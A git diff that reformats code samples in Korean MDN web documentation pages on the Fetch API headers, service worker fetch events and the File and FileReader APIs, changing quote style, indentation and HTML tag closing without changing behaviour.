+myHeaders.append("Content-Type", "text/plain");
+myHeaders.append("Content-Length", content.length.toString());
+myHeaders.append("X-Custom-Header", "ProcessThisImmediately");
 ```
 
 생성자에 2차원 배열이나 객체 리터럴을 전달하는 것으로도 같은 결과를 얻을 수 있습니다.
 
 ```js
 const myHeaders = new Headers({
-  'Content-Type': 'text/plain',
-  'Content-Length': content.length.toString(),
-  'X-Custom-Header': 'ProcessThisImmediately',
+  "Content-Type": "text/plain",
+  "Content-Length": content.length.toString(),
+  "X-Custom-Header": "ProcessThisImmediately",
 });
 ```
 
 헤더의 내용은 아래와 같이 가져올 수 있습니다.
 
 ```js
-console.log(myHeaders.has('Content-Type')); // true
-console.log(myHeaders.has('Set-Cookie')); // false
-myHeaders.set('Content-Type', 'text/html');
-myHeaders.append('X-Custom-Header', 'AnotherValue');
+console.log(myHeaders.has("Content-Type")); // true
+console.log(myHeaders.has("Set-Cookie")); // false
+myHeaders.set("Content-Type", "text/html");
+myHeaders.append("X-Custom-Header", "AnotherValue");
 
-console.log(myHeaders.get('Content-Length')); // 11
-console.log(myHeaders.get('X-Custom-Header')); // ['ProcessThisImmediately', 'AnotherValue']
+console.log(myHeaders.get("Content-Length")); // 11
+console.log(myHeaders.get("X-Custom-Header")); // ['ProcessThisImmediately', 'AnotherValue']
 
-myHeaders.delete('X-Custom-Header');
-console.log(myHeaders.get('X-Custom-Header')); // null
+myHeaders.delete("X-Custom-Header");
+console.log(myHeaders.get("X-Custom-Header")); // null
 ```
 
 헤더 객체의 몇몇 작업은 [서비스 워커](/ko/docs/Web/API/Service_Worker_API)에서나 유용하지만, 그래도 훨씬 편한 API를 통해서 헤더를 조작할 수 있습니다.
@@ -358,9 +358,9 @@ console.log(myHeaders.get('X-Custom-Header')); // null
 ```js
 const myResponse = Response.error();
 try {
-  myResponse.headers.set('Origin', 'http://mybank.com');
+  myResponse.headers.set("Origin", "http://mybank.com");
 } catch (e) {
-  console.log('은행인 척 할 수 없어요!');
+  console.log("은행인 척 할 수 없어요!");
 }
 ```
 
@@ -411,12 +411,12 @@ async function fetchJSON(request) {
 ```js
 const myBody = new Blob();
 
-addEventListener('fetch', function (event) {
+addEventListener("fetch", function (event) {
   // fetch를 가로채는 ServiceWorker
   event.respondWith(
     new Response(myBody, {
-      headers: { 'Content-Type': 'text/plain' },
-    })
+      headers: { "Content-Type": "text/plain" },
+    }),
   );
 });
 ```
@@ -451,9 +451,9 @@ addEventListener('fetch', function (event) {
 요청 본문은 `body` 속성을 설정하는 것으로 추가할 수 있습니다.
 
 ```js
-const form = new FormData(document.getElementById('login-form'));
-fetch('/login', {
-  method: 'POST',
+const form = new FormData(document.getElementById("login-form"));
+fetch("/login", {
+  method: "POST",
   body: form,
 });
 ```
diff --git a/files/ko/web/api/fetchevent/index.md b/files/ko/web/api/fetchevent/index.md
index 4aab13ad4a7df8..29e847d3cc843b 100644
--- a/files/ko/web/api/fetchevent/index.md
+++ b/files/ko/web/api/fetchevent/index.md
@@ -37,27 +37,29 @@ _Inherits methods from its parent,_ _{{domxref("ExtendableEvent")}}_.
 This fetch event uses the browser default for non-GET requests. For GET requests it tries to return a match in the cache, and falls back to the network. If it finds a match in the cache, it asynchronously updates the cache for next time.
 
 ```js
-addEventListener('fetch', event => {
+addEventListener("fetch", (event) => {
   // Let the browser do its default thing
   // for non-GET requests.
-  if (event.request.method != 'GET') return;
+  if (event.request.method != "GET") return;
 
   // Prevent the default, and handle the request ourselves.
-  event.respondWith(async function() {
-    // Try to get the response from a cache.
-    const cache = await caches.open('dynamic-v1');
-    const cachedResponse = await cache.match(event.request);
-
-    if (cachedResponse) {
-      // If we found a match in the cache, return it, but also
-      // update the entry in the cache in the background.
-      event.waitUntil(cache.add(event.request));
-      return cachedResponse;
-    }
-
-    // If we didn't find a match in the cache, use the network.
-    return fetch(event.request);
-  }());
+  event.respondWith(
+    (async function () {
+      // Try to get the response from a cache.
+      const cache = await caches.open("dynamic-v1");
+      const cachedResponse = await cache.match(event.request);
+
+      if (cachedResponse) {
+        // If we found a match in the cache, return it, but also
+        // update the entry in the cache in the background.
+        event.waitUntil(cache.add(event.request));
+        return cachedResponse;
+      }
+
+      // If we didn't find a match in the cache, use the network.
+      return fetch(event.request);
+    })(),
+  );
 });
 ```
 
diff --git a/files/ko/web/api/fetchevent/respondwith/index.md b/files/ko/web/api/fetchevent/respondwith/index.md
index 74655a7f817651..bdc518d9047877 100644
--- a/files/ko/web/api/fetchevent/respondwith/index.md
+++ b/files/ko/web/api/fetchevent/respondwith/index.md
@@ -2,6 +2,7 @@
 title: FetchEvent.respondWith()
 slug: Web/API/FetchEvent/respondWith
 ---
+
 {{APIRef("Service Workers API")}}{{SeeCompatTable}}
 
 {{domxref("FetchEvent")}}의 **`respondWith()`** 메소드는 브라우저의 기본 fetch 핸들링을 막고, 당신 스스로 {{domxref("Response")}}에 대한 promise를 제공할 수 있게 허락합니다.
@@ -23,7 +24,7 @@ This means, for example, if a service worker intercepts a stylesheet or worker s
 For most types of network request this change has no impact because you can't observe the final URL. There are a few, though, where it does matter:
 
 - If a {{domxref("fetch()")}} is intercepted, then you can observe the final URL on the result's {{domxref("Response.url")}}.
-- If a [worker](/ko/docs/Web/API/Web_Workers_API) script is intercepted, then the final URL is used to set [`self.location`](/en-US/docs/Web/API/WorkerGlobalScope/location) and used as the base URL for relative URLs in the worker script.
+- If a [worker](/ko/docs/Web/API/Web_Workers_API) script is intercepted, then the final URL is used to set [`self.location`](/ko/docs/Web/API/WorkerGlobalScope/location) and used as the base URL for relative URLs in the worker script.
 - If a stylesheet is intercepted, then the final URL is used as the base URL for resolving relative {{cssxref("@import")}} loads.
 
 Note that navigation requests for {{domxref("Window","Windows")}} and {{domxref("HTMLIFrameElement","iframes")}} do NOT use the final URL. The way the HTML specification handles redirects for navigations ends up using the request URL for the resulting {{domxref("Window.location")}}. This means sites can still provide an "alternate" view of a web page when offline without changing the user-visible URL.
@@ -31,9 +32,10 @@ Note that navigation requests for {{domxref("Window","Windows")}} and {{domxref(
 ## Syntax
 
 ```js
-fetchEvent.respondWith(
+fetchEvent
+  .respondWith
   // Promise that resolves to a Response.
-)
+  ();
 ```
 
 ### Parameters
@@ -46,8 +48,8 @@ Void.
 
 ### Exceptions
 
-| Exception      | Notes                                                                                                                                                                                                                              |
-| -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| Exception      | Notes                                                                                                                                                                                                   |
+| -------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
 | `NetworkError` | A network error is triggered on certain combinations of {{domxref("Request.mode","FetchEvent.request.mode")}} and {{domxref("Response.type")}} values, as hinted at in the "global rules" listed above. |
 
 ## Examples
@@ -55,16 +57,18 @@ Void.
 This fetch event tries to return a response from the cache API, falling back to the network otherwise.
 
 ```js
-addEventListener('fetch', event => {
+addEventListener("fetch", (event) => {
   // Prevent the default, and handle the request ourselves.
-  event.respondWith(async function() {
-    // Try to get the response from a cache.
-    const cachedResponse = await caches.match(event.request);
-    // Return it if we found one.
-    if (cachedResponse) return cachedResponse;
-    // If we didn't find a match in the cache, use the network.
-    return fetch(event.request);
-  }());
+  event.respondWith(
+    (async function () {
+      // Try to get the response from a cache.
+      const cachedResponse = await caches.match(event.request);
+      // Return it if we found one.
+      if (cachedResponse) return cachedResponse;
+      // If we didn't find a match in the cache, use the network.
+      return fetch(event.request);
+    })(),
+  );
 });
 ```
 
diff --git a/files/ko/web/api/file/file/index.md b/files/ko/web/api/file/file/index.md
index cc9a0412325eb7..a84e6d5602abaa 100644
--- a/files/ko/web/api/file/file/index.md
+++ b/files/ko/web/api/file/file/index.md
@@ -2,6 +2,7 @@
 title: File()
 slug: Web/API/File/File
 ---
+
 {{APIRef("File")}}
 
 **`File()`** 생성자는 {{domxref("File")}} 객체의 새로운 인스턴스를 생성합니다.
@@ -9,8 +10,8 @@ slug: Web/API/File/File
 ## 구문
 
 ```js
-new File(bits, name)
-new File(bits, name, options)
+new File(bits, name);
+new File(bits, name, options);
 ```
 
 ### 매개변수
diff --git a/files/ko/web/api/file/index.md b/files/ko/web/api/file/index.md
index c0a169b08e6803..7b05abbb01098d 100644
--- a/files/ko/web/api/file/index.md
+++ b/files/ko/web/api/file/index.md
@@ -2,6 +2,7 @@
 title: File
 slug: Web/API/File
 ---
+
 {{APIRef}}
 
 **`File`** 인터페이스는 파일에 대한 정보를 제공하고, 웹 페이지가 JavaScript로 파일의 내용에 접근할 수 있는 방법을 제공합니다.
diff --git a/files/ko/web/api/file/name/index.md b/files/ko/web/api/file/name/index.md
index dcfdd3c815e82c..47013510fc9fad 100644
--- a/files/ko/web/api/file/name/index.md
+++ b/files/ko/web/api/file/name/index.md
@@ -16,7 +16,7 @@ slug: Web/API/File/name
 ### HTML
 
 ```html
-<input type="file" id="filepicker" multiple>
+<input type="file" id="filepicker" multiple />
 <div>
   <p>선택한 파일 목록:</p>
   <ul id="output"></ul>
@@ -26,19 +26,19 @@ slug: Web/API/File/name
 ### JavaScript
 
 ```js
-const output = document.getElementById('output');
-const filepicker = document.getElementById('filepicker');
+const output = document.getElementById("output");
+const filepicker = document.getElementById("filepicker");
 
-filepicker.addEventListener('change', (event) => {
+filepicker.addEventListener("change", (event) => {
   const files = event.target.files;
-  output.textContent = '';
+  output.textContent = "";
 
   for (const file of files) {
-    const li = document.createElement('li');
+    const li = document.createElement("li");
     li.textContent = file.name;
     output.appendChild(li);
   }
-})
+});
 ```
 
 ### 결과
diff --git a/files/ko/web/api/file/type/index.md b/files/ko/web/api/file/type/index.md
index 0f3f60c11bae1c..83215f728759f5 100644
--- a/files/ko/web/api/file/type/index.md
+++ b/files/ko/web/api/file/type/index.md
@@ -30,15 +30,15 @@ output {
 ### JavaScript
 
 ```js
-const output = document.getElementById('output');
-const filepicker = document.getElementById('filepicker');
+const output = document.getElementById("output");
+const filepicker = document.getElementById("filepicker");
 
-filepicker.addEventListener('change', (event) => {
+filepicker.addEventListener("change", (event) => {
   const files = event.target.files;
-  output.textContent = '';
+  output.textContent = "";
 
   for (const file of files) {
-    output.textContent += `${file.name}: ${file.type || '알 수 없음'}\n`;
+    output.textContent += `${file.name}: ${file.type || "알 수 없음"}\n`;
   }
 });
 ```
diff --git a/files/ko/web/api/file_and_directory_entries_api/index.md b/files/ko/web/api/file_and_directory_entries_api/index.md
index 1ccaee0623bddf..d71915e48a820d 100644
--- a/files/ko/web/api/file_and_directory_entries_api/index.md
+++ b/files/ko/web/api/file_and_directory_entries_api/index.md
@@ -2,6 +2,7 @@
 title: File and Directory Entries API
 slug: Web/API/File_and_Directory_Entries_API
 ---
+
 {{DefaultAPISidebar("File System API")}}{{Non-standard_header}}
 
 The File and Directory Entries API는 탐색 및 파일 접근이 가능한 로컬 파일 시스템을 웹상에 시뮬레이션합니다. 이 API를 통해 당신은 읽고, 쓰고, 파일과 디렉토리를 생성할 수 있는 가상의 파일 시스템을 가진 앱을 개발할 수 있을 것입니다.
diff --git a/files/ko/web/api/file_api/using_files_from_web_applications/index.md b/files/ko/web/api/file_api/using_files_from_web_applications/index.md
index c4fe3f1307404d..0a22dcfb084505 100644
--- a/files/ko/web/api/file_api/using_files_from_web_applications/index.md
+++ b/files/ko/web/api/file_api/using_files_from_web_applications/index.md
@@ -3,6 +3,7 @@ title: 웹 어플리케이션에서 파일 사용하기
 slug: Web/API/File_API/Using_files_from_web_applications
 original_slug: Web/API/File/Using_files_from_web_applications
 ---
+
 {{APIRef("File API")}}
 
 HTML5의 DOM으로 추가된 File API를 사용하여, 이제 웹 컨텐츠가 사용자에게 로컬 파일을 선택한 후 파일의 컨텐츠를 읽도록 요청할 수 있습니다. 이 선택은 HTML {{HTMLElement("input")}} 엘리먼트나 드래그 앤 드랍을 사용하는 것으로도 수행할 수 있습니다.
@@ -14,7 +15,7 @@ HTML5의 DOM으로 추가된 File API를 사용하여, 이제 웹 컨텐츠가 
 다음 HTML을 생각해봅시다.
 
 ```html
-<input type="file" id="input">
+<input type="file" id="input" />
 ```
 
 File API는 사용자에 의해 선택된 파일을 나타내는 객체인 {{DOMxRef("File")}}을 포함하는 {{DOMxRef("FileList")}}에 접근할 수 있게 해줍니다.
@@ -24,7 +25,7 @@ File API는 사용자에 의해 선택된 파일을 나타내는 객체인 {{DOM
 기존의 DOM 셀렉터를 사용하여 선택된 하나의 파일에 접근하기:
 
 ```js
-const selectedFile = document.getElementById('input').files[0];
+const selectedFile = document.getElementById("input").files[0];
 ```
 
 ### change 이벤트에서 선택한 파일에 접근하기
@@ -32,7 +33,7 @@ const selectedFile = document.getElementById('input').files[0];
 `change` 이벤트를 통해 {{DOMxRef("FileList")}}에 접근할수도 있습니다(필수는 아닙니다).
 
 ```html
-<input type="file" id="input" onchange="handleFiles(this.files)">
+<input type="file" id="input" onchange="handleFiles(this.files)" />
 ```
 
 사용자가 하나의 파일을 선택할 때, 사용자에 의해 선택된 파일을 나타내는 객체인 {{DOMxRef("File")}}을 포함하는 {{DOMxRef("FileList")}}와 함께 `handlerFiles()` 함수가 호출됩니다.
@@ -40,7 +41,7 @@ const selectedFile = document.getElementById('input').files[0];
 사용자가 여러 파일을 선택할 수 있도록 하길 원할 경우, 간단히 `input` 엘리먼트에서 `multiple` 속성을 사용하면됩니다.
 
 ```html
-<input type="file" id="input" multiple onchange="handleFiles(this.files)">
+<input type="file" id="input" multiple onchange="handleFiles(this.files)" />
 ```
 
 이 경우, `handleFiles()` 함수로 전달된 파일 리스트는 사용자가 선택한 각 파일에 대해 하나의 {{DOMxRef("File")}} 객체를 갖습니다.
@@ -92,37 +93,67 @@ for (let i = 0, numFiles = files.length; i < numFiles; i++) {
 다음 예시는 `size` 프로퍼티를 사용하는 방법을 보여줍니다.
 
 ```html
-<!DOCTYPE html>
+<!doctype html>
 <html>
-<head>
-<meta charset="UTF-8">
-<title>File(s) size</title>
-<script>
-function updateSize() {
-  let nBytes = 0,
-      oFiles = document.getElementById("uploadInput").files,
-      nFiles = oFiles.length;
-  for (let nFileId = 0; nFileId < nFiles; nFileId++) {
-    nBytes += oFiles[nFileId].size;
-  }
-  let sOutput = nBytes + " bytes";
-  // multiples approximation을 위한 선택적 코드
-  for (let aMultiples = ["KiB", "MiB", "GiB", "TiB", "PiB", "EiB", "ZiB", "YiB"], nMultiple = 0, nApprox = nBytes / 1024; nApprox > 1; nApprox /= 1024, nMultiple++) {
-    sOutput = nApprox.toFixed(3) + " " + aMultiples[nMultiple] + " (" + nBytes + " bytes)";
-  }
-  // 선택적 코드의 끝
-  document.getElementById("fileNum").innerHTML = nFiles;
-  document.getElementById("fileSize").innerHTML = sOutput;
-}
-</script>
-</head>
-
-<body onload="updateSize();">
-<form name="uploadForm">
-<p><input id="uploadInput" type="file" name="myFiles" onchange="updateSize();" multiple> selected files: <span id="fileNum">0</span>; total size: <span id="fileSize">0</span></p>
-<p><input type="submit" value="Send file"></p>
-</form>
-</body>
+  <head>
+    <meta charset="UTF-8" />
+    <title>File(s) size</title>
+    <script>
+      function updateSize() {
+        let nBytes = 0,
+          oFiles = document.getElementById("uploadInput").files,
+          nFiles = oFiles.length;
+        for (let nFileId = 0; nFileId < nFiles; nFileId++) {
+          nBytes += oFiles[nFileId].size;
+        }
+        let sOutput = nBytes + " bytes";
+        // multiples approximation을 위한 선택적 코드
+        for (
+          let aMultiples = [
+              "KiB",
+              "MiB",
+              "GiB",
+              "TiB",
+              "PiB",
+              "EiB",
+              "ZiB",
+              "YiB",
+            ],
+            nMultiple = 0,
+            nApprox = nBytes / 1024;
+          nApprox > 1;
+          nApprox /= 1024, nMultiple++
+        ) {
+          sOutput =
+            nApprox.toFixed(3) +
+            " " +
+            aMultiples[nMultiple] +
+            " (" +
+            nBytes +
+            " bytes)";
+        }
+        // 선택적 코드의 끝
+        document.getElementById("fileNum").innerHTML = nFiles;
+        document.getElementById("fileSize").innerHTML = sOutput;
+      }
+    </script>
+  </head>
+
+  <body onload="updateSize();">
+    <form name="uploadForm">
+      <p>
+        <input
+          id="uploadInput"
+          type="file"
+          name="myFiles"
+          onchange="updateSize();"
+          multiple />
+        selected files: <span id="fileNum">0</span>; total size:
+        <span id="fileSize">0</span>
+      </p>
+      <p><input type="submit" value="Send file" /></p>
+    </form>
+  </body>
 </html>
 ```
 
@@ -133,7 +164,13 @@ function updateSize() {
 다음 HTML을 생각해봅시다.
 
 ```html
-<input type="file" id="fileElem" multiple accept="image/*" style="display:none" onchange="handleFiles(this.files)">
+<input
+  type="file"
+  id="fileElem"
+  multiple
+  accept="image/*"
+  style="display:none"
+  onchange="handleFiles(this.files)" />
 <button id="fileSelect">Select some files</button>
 ```
 
@@ -143,11 +180,15 @@ function updateSize() {
 const fileSelect = document.getElementById("fileSelect"),
   fileElem = document.getElementById("fileElem");
 
-fileSelect.addEventListener("click", function (e) {
-  if (fileElem) {
-    fileElem.click();
-  }
-}, false);
+fileSelect.addEventListener(
+  "click",
+  function (e) {
+    if (fileElem) {
+      fileElem.click();
+    }
+  },
+  false,
+);
 ```
 
 여러분이 원하는 파일 선택기를 열기위한 새로운 버튼을 스타일링할 수 있습니다.
@@ -159,7 +200,12 @@ JavaScript(click() 메소드)를 사용하지 않고 파일 선택기를 열도
 다음 HTML과
 
 ```html
-<input type="file" id="fileElem" multiple accept="image/*" class="visually-hidden">
+<input
+  type="file"
+  id="fileElem"
+  multiple
+  accept="image/*"
+  class="visually-hidden" />
 <label for="fileElem">Select some files</label>
 ```
 
@@ -237,7 +283,9 @@ function handleFiles(files) {
   for (let i = 0; i < files.length; i++) {
     const file = files[i];
 
-    if (!file.type.startsWith('image/')){ continue }
+    if (!file.type.startsWith("image/")) {
+      continue;
+    }
 
     const img = document.createElement("img");
     img.classList.add("obj");
@@ -245,7 +293,11 @@ function handleFiles(files) {
     preview.appendChild(img); // "preview"가 결과를 보여줄 div 출력이라 가정.
 
     const reader = new FileReader();
-    reader.onload = (function(aImg) { return function(e) { aImg.src = e.target.result; }; })(img);
+    reader.onload = (function (aImg) {
+      return function (e) {
+        aImg.src = e.target.result;
+      };
+    })(img);
     reader.readAsDataURL(file);
   }
 }
@@ -280,7 +332,13 @@ window.URL.revokeObjectURL(objectURL);
 인터페이스를 나타내는 HTML은 다음과 같습니다.
 
 ```html
-<input type="file" id="fileElem" multiple accept="image/*" style="display:none" onchange="handleFiles(this.files)">
+<input
+  type="file"
+  id="fileElem"
+  multiple
+  accept="image/*"
+  style="display:none"
+  onchange="handleFiles(this.files)" />
 <a href="#" id="fileSelect">Select some files</a>
 <div id="fileList">
   <p>No files selected!</p>
@@ -295,15 +353,19 @@ window.URL.revokeObjectURL(objectURL);
 window.URL = window.URL || window.webkitURL;
 
 const fileSelect = document.getElementById("fileSelect"),
-    fileElem = document.getElementById("fileElem"),
-    fileList = document.getElementById("fileList");
-
-fileSelect.addEventListener("click", function (e) {
-  if (fileElem) {
-    fileElem.click();
-  }
-  e.preventDefault(); // "#" 해시로 이동을 방지
-}, false);
+  fileElem = document.getElementById("fileElem"),
+  fileList = document.getElementById("fileList");
+
+fileSelect.addEventListener(
+  "click",
+  function (e) {
+    if (fileElem) {
+      fileElem.click();
+    }
+    e.preventDefault(); // "#" 해시로 이동을 방지
+  },
+  false,
+);
 
 function handleFiles(files) {
   if (!files.length) {
@@ -319,9 +381,9 @@ function handleFiles(files) {
       const img = document.createElement("img");
       img.src = window.URL.createObjectURL(files[i]);
       img.height = 60;
-      img.onload = function() {
+      img.onload = function () {
         window.URL.revokeObjectURL(this.src);
-      }
+      };
       li.appendChild(img);
       const info = document.createElement("span");
       info.innerHTML = files[i].name + ": " + files[i].size + " bytes";
@@ -339,12 +401,12 @@ function handleFiles(files) {
 2. 새로운 리스트 엘리먼트가 {{DOMxRef("Node.appendChild()")}} 메소드 호출에 의해 {{HTMLElement("div")}} 블록으로 삽입됩니다.
 3. `files`에 의해 나타나는 {{DOMxRef("FileList")}} 내의 각 {{DOMxRef("File")}}에 대해 :
 
-    1. 새로운 리스트 항목({{HTMLElement("li")}}) 엘리먼트를 생성하고 리스트로 삽입합니다.
-    2. 새로운 이미지({{HTMLElement("img")}}) 엘리먼트를 생성합니다.
-    3. {{DOMxRef("window.URL.createObjectURL()")}}을 사용하여 이미지의 소스를 파일을 나타내는 새로운 객체 URL로 설정해 blob URL을 생성합니다.
-    4. 이미지의 height를 60 픽셀로 설정합니다.
-    5. 이미지가 로드된 이후에 더 이상 필요하지 않게되므로 객체 URL을 해제하기 위한 이미지의 로드 이벤트 핸들러를 설정합니다. {{DOMxRef("window.URL.revokeObjectURL()")}} 메소드를 호출하고 `img.src`로 지정한 객체 URL 문자열을 전달하면됩니다.
-    6. 리스트로 새로운 리스트 항목을 추가합니다.
+   1. 새로운 리스트 항목({{HTMLElement("li")}}) 엘리먼트를 생성하고 리스트로 삽입합니다.
+   2. 새로운 이미지({{HTMLElement("img")}}) 엘리먼트를 생성합니다.
+   3. {{DOMxRef("window.URL.createObjectURL()")}}을 사용하여 이미지의 소스를 파일을 나타내는 새로운 객체 URL로 설정해 blob URL을 생성합니다.
+   4. 이미지의 height를 60 픽셀로 설정합니다.
+   5. 이미지가 로드된 이후에 더 이상 필요하지 않게되므로 객체 URL을 해제하기 위한 이미지의 로드 이벤트 핸들러를 설정합니다. {{DOMxRef("window.URL.revokeObjectURL()")}} 메소드를 호출하고 `img.src`로 지정한 객체 URL 문자열을 전달하면됩니다.
+   6. 리스트로 새로운 리스트 항목을 추가합니다.
 
 다음은 위 코드의 라이브 데모입니다.
 
@@ -382,21 +444,32 @@ function FileUpload(img, file) {
   this.xhr = xhr;
 
   const self = this;
-  this.xhr.upload.addEventListener("progress", function(e) {
-        if (e.lengthComputable) {
-          const percentage = Math.round((e.loaded * 100) / e.total);
-          self.ctrl.update(percentage);
-        }
-      }, false);
-
-  xhr.upload.addEventListener("load", function(e){
-          self.ctrl.update(100);
-          const canvas = self.ctrl.ctx.canvas;
-          canvas.parentNode.removeChild(canvas);
-      }, false);
-  xhr.open("POST", "http://demos.hacks.mozilla.org/paul/demos/resources/webservices/devnull.php");
-  xhr.overrideMimeType('text/plain; charset=x-user-defined-binary');
-  reader.onload = function(evt) {
+  this.xhr.upload.addEventListener(
+    "progress",
+    function (e) {
+      if (e.lengthComputable) {
+        const percentage = Math.round((e.loaded * 100) / e.total);
+        self.ctrl.update(percentage);
+      }
+    },
+    false,
+  );
+
+  xhr.upload.addEventListener(
+    "load",
+    function (e) {
+      self.ctrl.update(100);
+      const canvas = self.ctrl.ctx.canvas;
+      canvas.parentNode.removeChild(canvas);
+    },
+    false,
+  );
+  xhr.open(
+    "POST",
+    "http://demos.hacks.mozilla.org/paul/demos/resources/webservices/devnull.php",
+  );
+  xhr.overrideMimeType("text/plain; charset=x-user-defined-binary");
+  reader.onload = function (evt) {
     xhr.send(evt.target.result);
   };
   reader.readAsBinaryString(file);
@@ -481,15 +554,15 @@ Object URLs can be used for other things than just images! They can be used to d
 In Firefox, to have the PDF appear embedded in the iframe (rather than proposed as a downloaded file), the preference `pdfjs.disabled` must be set to `false` {{non-standard_inline()}}.
 
 ```html
-<iframe id="viewer">
+<iframe id="viewer"></iframe>
 ```
 
 And here is the change of the `src` attribute:
 
 ```js
 const obj_url = window.URL.createObjectURL(blob);
-const iframe = document.getElementById('viewer');
-iframe.setAttribute('src', obj_url);
+const iframe = document.getElementById("viewer");
+iframe.setAttribute("src", obj_url);
 window.URL.revokeObjectURL(obj_url);
 ```
 
@@ -498,10 +571,10 @@ window.URL.revokeObjectURL(obj_url);
 You can manipulate files of other formats the same way. Here is how to preview uploaded video:
 
 ```js
-const video = document.getElementById('video');
+const video = document.getElementById("video");
 const obj_url = window.URL.createObjectURL(blob);
 video.src = obj_url;
-video.play()
+video.play();
 window.URL.revokeObjectURL(obj_url);
 ```
 
diff --git a/files/ko/web/api/filelist/index.md b/files/ko/web/api/filelist/index.md
index 67fbf7aeb3c0bf..e537138ba474a6 100644
--- a/files/ko/web/api/filelist/index.md
+++ b/files/ko/web/api/filelist/index.md
@@ -10,13 +10,13 @@ slug: Web/API/FileList
 모든 `<input>` 요소 노드에는 `FileList`를 반환하는 `files` 특성이 있어서 파일의 목록에 접근할 수 있습니다. 예를 들어, 다음과 같은 HTML 코드를 가정하면,
 
 ```html
-<input id="fileItem" type="file">
+<input id="fileItem" type="file" />
 ```
 
 아래 코드로 노드의 파일 리스트에서 첫 번째 항목을 [`File`](/ko/docs/Web/API/File) 객체로 가져올 수 있습니다.
 
 ```js
-const file = document.getElementById('fileItem').files[0];
+const file = document.getElementById("fileItem").files[0];
 ```
 
 ## 속성
@@ -39,7 +39,7 @@ const file = document.getElementById('fileItem').files[0];
 
 ```html
 <!--'multiple'을 지정해서 여러 파일의 선택을 허용-->
-<input id="myfiles" multiple type="file">
+<input id="myfiles" multiple type="file" />
 <div class="output"></div>
 ```
 
@@ -56,10 +56,10 @@ const file = document.getElementById('fileItem').files[0];
 #### JavaScript
 
 ```js
-const output = document.querySelector('.output');
+const output = document.querySelector(".output");
 const myFiles = document.querySelector("#myfiles");
 
-function logFilenames(){
+function logFilenames() {
   const fileInput = document.querySelector("#myfiles");
   const files = fileInput.files;
   const fileListLength = files.length;
diff --git a/files/ko/web/api/filereader/index.md b/files/ko/web/api/filereader/index.md
index 8acfc269bb0b21..75fde18b3a2129 100644
--- a/files/ko/web/api/filereader/index.md
+++ b/files/ko/web/api/filereader/index.md
@@ -2,6 +2,7 @@
 title: FileReader
 slug: Web/API/FileReader
 ---
+
 {{APIRef("File API")}}
 
 **`FileReader`** 객체는 웹 애플리케이션이 비동기적으로 데이터를 읽기 위하여 읽을 파일을 가리키는{{ domxref("File") }} 혹은 {{ domxref("Blob") }} 객체를 이용해 파일의 내용을(혹은 raw data버퍼로) 읽고 사용자의 컴퓨터에 저장하는 것을 가능하게 해줍니다.
diff --git a/files/ko/web/api/filereader/loadend_event/index.md b/files/ko/web/api/filereader/loadend_event/index.md
index a81f52d7bedc6f..d3074a59252b73 100644
--- a/files/ko/web/api/filereader/loadend_event/index.md
+++ b/files/ko/web/api/filereader/loadend_event/index.md
@@ -1,5 +1,5 @@
 ---
-title: 'FileReader: loadend event'
+title: "FileReader: loadend event"
 slug: Web/API/FileReader/loadend_event
 ---
 
@@ -36,22 +36,22 @@ slug: Web/API/FileReader/loadend_event
 
 ```html
 <div class="example">
+  <div class="file-select">
+    <label for="avatar">Choose a profile picture:</label>
+    <input
+      type="file"
+      id="avatar"
+      name="avatar"
+      accept="image/png, image/jpeg" />
+  </div>
 
-    <div class="file-select">
-        <label for="avatar">Choose a profile picture:</label>
-        <input type="file"
-               id="avatar" name="avatar"
-               accept="image/png, image/jpeg">
-    </div>
-
-    <img src="" class="preview" height="200" alt="Image preview...">
-
-    <div class="event-log">
-        <label>Event log:</label>
-        <textarea readonly class="event-log-contents"></textarea>
-    </div>
+  <img src="" class="preview" height="200" alt="Image preview..." />
 
+  <div class="event-log">
+    <label>Event log:</label>
+    <textarea readonly class="event-log-contents"></textarea>
   </div>
+</div>
 ```
 
 ```css hidden
@@ -60,38 +60,38 @@ img.preview {
 }
 
 .event-log-contents {
-width: 18rem;
-height: 5rem;
-border: 1px solid black;
-margin: .2rem;
-padding: .2rem;
+  width: 18rem;
+  height: 5rem;
+  border: 1px solid black;
+  margin: 0.2rem;
+  padding: 0.2rem;
 }
 
 .example {
-display: grid;
-grid-template-areas:
-"select log"
-"preview log";
+  display: grid;
+  grid-template-areas:
+    "select log"
+    "preview log";
 }
 
 .file-select {
-grid-area: select;
+  grid-area: select;
 }
 
 .preview {
-grid-area: preview;
+  grid-area: preview;
 }
 
 .event-log {
-grid-area: log;
+  grid-area: log;
 }
 
-.event-log>label {
-display: block;
+.event-log > label {
+  display: block;
 }
 
 .event-log-contents {
-resize: none;
+  resize: none;
 }
 ```
 
@@ -99,37 +99,38 @@ resize: none;
 
 ```js
 const fileInput = document.querySelector('input[type="file"]');
-const preview = document.querySelector('img.preview');
-const eventLog = document.querySelector('.event-log-contents');
+const preview = document.querySelector("img.preview");
+const eventLog = document.querySelector(".event-log-contents");
 const reader = new FileReader();
 
 function handleEvent(event) {
-    eventLog.textContent = eventLog.textContent + `${event.type}: ${event.loaded} bytes transferred\n`;
+  eventLog.textContent =
+    eventLog.textContent + `${event.type}: ${event.loaded} bytes transferred\n`;
 
-    if (event.type === "load") {
-        preview.src = reader.result;
-    }
+  if (event.type === "load") {
+    preview.src = reader.result;
+  }
 }
 
 function addListeners(reader) {
-    reader.addEventListener('loadstart', handleEvent);
-    reader.addEventListener('load', handleEvent);
-    reader.addEventListener('loadend', handleEvent);
-    reader.addEventListener('progress', handleEvent);
-    reader.addEventListener('error', handleEvent);
-    reader.addEventListener('abort', handleEvent);
+  reader.addEventListener("loadstart", handleEvent);
+  reader.addEventListener("load", handleEvent);
+  reader.addEventListener("loadend", handleEvent);
+  reader.addEventListener("progress", handleEvent);
+  reader.addEventListener("error", handleEvent);
+  reader.addEventListener("abort", handleEvent);
 }
 
 function handleSelected(e) {
-    eventLog.textContent = '';
-    const selectedFile = fileInput.files[0];
-    if (selectedFile) {
-        addListeners(reader);
-        reader.readAsDataURL(selectedFile);
-    }
+  eventLog.textContent = "";
+  const selectedFile = fileInput.files[0];
+  if (selectedFile) {
+    addListeners(reader);
+    reader.readAsDataURL(selectedFile);
+  }
 }
 
-fileInput.addEventListener('change', handleSelected);
+fileInput.addEventListener("change", handleSelected);
 ```
 
 #### 결과
diff --git a/files/ko/web/api/filereader/readasdataurl/index.md b/files/ko/web/api/filereader/readasdataurl/index.md
index 0daf7556ad303e..e372ceaa472a3d 100644
--- a/files/ko/web/api/filereader/readasdataurl/index.md
